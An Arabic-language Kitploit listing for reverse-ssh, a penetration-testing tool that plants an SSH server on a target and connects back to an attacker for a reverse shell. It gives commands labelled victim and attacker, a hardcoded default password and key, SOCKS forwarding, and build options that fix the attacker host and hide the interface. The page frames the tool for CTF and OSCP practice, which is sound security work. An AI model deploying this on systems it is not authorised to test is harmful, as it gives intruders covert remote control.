Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
reverse-ssh — خادم SSH مرتبط بشكل ثابت مع وظائف شل عكسية لمسابقات CTF وما شابه | Kitploit
أدوات/GitHubGitHub/fahrj/reverse-ssh
ما بعد الاستغلالCTFاختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubfahrj/reverse-ssh

reverse-ssh

خادم SSH مرتبط بشكل ثابت مع وظائف شل عكسية لمسابقات CTF وما شابه

عرض المستودع
1.1k150منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ReverseSSH

مُخدّم SSH مرتبط بشكل ثابت مع ميزة اتصال عكسي للوصول عن بُعد بسيط وقوي. الأكثر فائدة خلال تحديات HackTheBox وCTFs أو ما شابه ذلك.

تم تطويره واستُخدم بشكل مكثف خلال التحضير لامتحان OSCP.

احصل على أحدث إصدار

Showcase

الميزات

الحصول على شيل عكسي باستخدام netcat رائع، بالتأكيد، ولكن من لم يُغلق بالخطأ شيلاً عكسياً بسبب مقاطعة لوحة المفاتيح من الذاكرة العضلية؟ إلى جانب هشاشتها، غالبًا ما تفتقر هذه الشيلات إلى ميزات الراحة مثل الوصول التفاعلي الكامل، الإكمال التلقائي (TAB-completion) أو التاريخ.

بدلاً من ذلك، يمكنك ببساطة نشر مُخدّم SSH خفيف الوزن (أقل من 1.5 ميجابايت) reverse-ssh على الهدف، واستخدام خدمات إضافية مثل نقل الملفات وتوجيه المنافذ!

يحاول ReverseSSH سد الفجوة بين الوصول الأولي إلى الهدف ورفع الامتيازات المحلية الكاملة. نقاط قوته الرئيسية هي التالية:

  • وصول شيل تفاعلي كامل (تحقق من التحذيرات لإصدارات ويندوز القديمة أدناه)
  • نقل الملفات عبر sftp
  • توجيه المنافذ المحلي / البعيد / الديناميكي
  • يمكن استخدامه كشيل مرتبط (bind) وعكسي (reverse)
  • يدعم أنظمة تشغيل Unix و ويندوز

تحذيرات ويندوز

يعتمد powershell التفاعلي الكامل على ويندوز على Windows Pseudo Console ConPTY وبالتالي يتطلب على الأقل Win10 Build 17763. في الإصدارات الأقدم، لا يزال بإمكانك الحصول على شيل عكسي تفاعلي لا يمكنه التعامل مع رموز الطرفية الافتراضية مثل مفاتيح الأسهم أو مقاطعات لوحة المفاتيح. في هذه الحالات، عليك إضافة الأمر cmd، أي ssh <OPTIONS> <IP> cmd.

يمكنك تحقيق وصول شيل تفاعلي كامل لإصدارات ويندوز الأقدم بوضع ssh-shellhost.exe من OpenSSH لويندوز في نفس المجلد الذي يحتوي على reverse-ssh ثم استخدام العلامة -s ssh-shellhost.exe. سيؤدي هذا إلى توجيه كل الحركة عبر ssh-shellhost.exe، الذي يحاكي pty ويحول جميع رموز الطرفية الافتراضية بحيث تستطيع ويندوز فهمها.

المتطلبات

يعتمد تنفيذ الملفات الثنائية المقدمة ببساطة على متطلبات نظام golang.

باختصار:

  • Linux: إصدار النواة 2.6.23 وما فوق
  • ويندوز: Windows Server 2008R2 وما فوق أو ويندوز 7 وما فوق

يتطلب التجميع أيضًا ما يلي:

  • إصدار golang 1.15
  • اختياريًا upx للضغط (مثل apt install upx-ucl)

الاستخدام

بمجرد تشغيل reverse-ssh على الضحية، يمكنك الاتصال بأي اسم مستخدم وكلمة المرور الافتراضية letmeinbrudipls، أو مفتاح ssh، أو أي شيء حددته أثناء التجميع. بعد كل شيء، هو مجرد مُخدّم ssh:

root@kitploit:~
# Fully interactive shell access
$ ssh -p <RPORT> <RHOST>

# Simple command execution
$ ssh -p <RPORT> <RHOST> whoami

# Full-fledged file transfers
$ sftp -P <RPORT> <RHOST>

# Dynamic port forwarding as SOCKS proxy on port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>

تشغيل ReverseSSH كشيل مرتبط (bind)

root@kitploit:~
# Victim
victim$ ./reverse-ssh

# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>

تشغيل ReverseSSH كشيل عكسي (reverse)

ملاحظة: يمكنك تجميع ReverseSSH مع معاملات LHOST وLPORT لتسهيل التنفيذ على الهدف، انظر أدناه

root@kitploit:~
# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
# NOTE: LPORT of 8888 collides with incoming connections; use the flag `-b 8889` or similar on the victim in that case
attacker$ ./reverse-ssh -v -l -p <LPORT>

# On victim
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# or in case of an ssh daemon listening at port 22 with password authentication for user 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>

# On attacker (default password: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ ssh target

في النهاية هو ssh عادي، لذا يمكنك التقاط استدعاء توجيه المنفذ البعيد القادم من جهاز الضحية باستخدام خادم openssh الخاص بك الذي يستمع على المنفذ 22. فقط أضف <USER>@ في البداية وقدم كلمة المرور عندما يُطلب منك ذلك. الاتصال بالمركز حاليًا يعتمد فقط على كلمة المرور، لأنني لم أشعر برغبة في تضمين مفتاح خاص أيضًا بعد...

لمزيد من الراحة، أضف ما يلي إلى ~/.ssh/config، انسخ مفتاح ssh الخاص إلى ~/.ssh/ ثم اتصل ببساطة بـ ssh target أو sftp target بعد ذلك:

root@kitploit:~
Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

الاستخدام الكامل

root@kitploit:~
reverseSSH v1.2.0  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [[<user>@]<target>]

Examples:
  Bind:
        reverse-ssh -l
        reverse-ssh -v -l -p 4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -l, Start reverseSSH in listening mode (overrides reverse scenario)
        -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
                or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -N, Deny all incoming shell/exec/subsystem and local port forwarding requests
                (if only remote port forwarding is needed, e.g. when catching reverse connections)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user other than 'reverse' while dialling home

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

تعليمات البناء

تأكد من تثبيت المتطلبات المذكورة أعلاه مثل golang بإصدار متوافق وإعدادها بشكل صحيح. بعد ذلك، يمكنك التجميع باستخدام make، والذي سينشئ ملفات ثنائية ثابتة في bin. استخدم make compressed لضغط الملفات الثنائية باستخدام upx لتقليل حجمها أكثر.

root@kitploit:~
$ make

# or to additionally created binaries packed with upx
$ make compressed

حيل البناء

يمكنك أيضًا تحديد واحد أو أكثر من المتغيرات البيئية التالية عند التجميع لتخصيص ReverseSSH حسب حالتك:

  • RS_SHELL لتغيير الشيل الافتراضي
  • RS_PASS لتقديم كلمة المرور المخصصة لك
  • RS_PUB لتقديم مفتاح مصرح به مخصص
  • LUSER لتغيير اسم المستخدم الافتراضي لمحاولة اتصال ssh
  • LHOST لتقديم قيمة LHOST افتراضية وجعل ReverseSSH يتجه إلى السيناريو العكسي افتراضيًا
  • LPORT لتغيير منفذ الاستماع الافتراضي أو المنفذ الذي تُرسل إليه محاولة اتصال ssh
  • BPORT لتغيير منفذ الاستماع الافتراضي للاتصالات العكسية على جهاز المهاجم؛ 0 يعني أي منفذ حر يُستخدم
  • NOCLI مع أي قيمة يزيل جميع التفاعلات الموجهة للمستخدم (يتجاهل الثنائي جميع العلامات أو الوسائط المقدمة)
root@kitploit:~
$ ssh-keygen -t ed25519 -f id_reverse-ssh

$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

البناء لأنظمة تشغيل أو معماريات مختلفة

افتراضيًا، يتم تجميع reverse-ssh لنظام التشغيل والمعمارية الحاليين، بالإضافة إلى لينكس وويندوز في x86 وx64. للتجميع لمعماريات أخرى أو نظام تشغيل آخر، يمكنك تقديم متغيرات بيئية تطابق هدفك، على سبيل المثال لينكس/arm64:

root@kitploit:~
$ GOARCH=arm64 GOOS=linux make compressed

يمكن الحصول على قائمة بالأهداف المتاحة بتنسيق OS/arch عبر go tool dist list.

المساهمة

هل تفتقد ميزة مذهلة؟ هل أي شيء لا يعمل كما هو مقصود؟

أنشئ مشكلة (issue) أو طلب سحب (pull request)!

تنزيل الأداة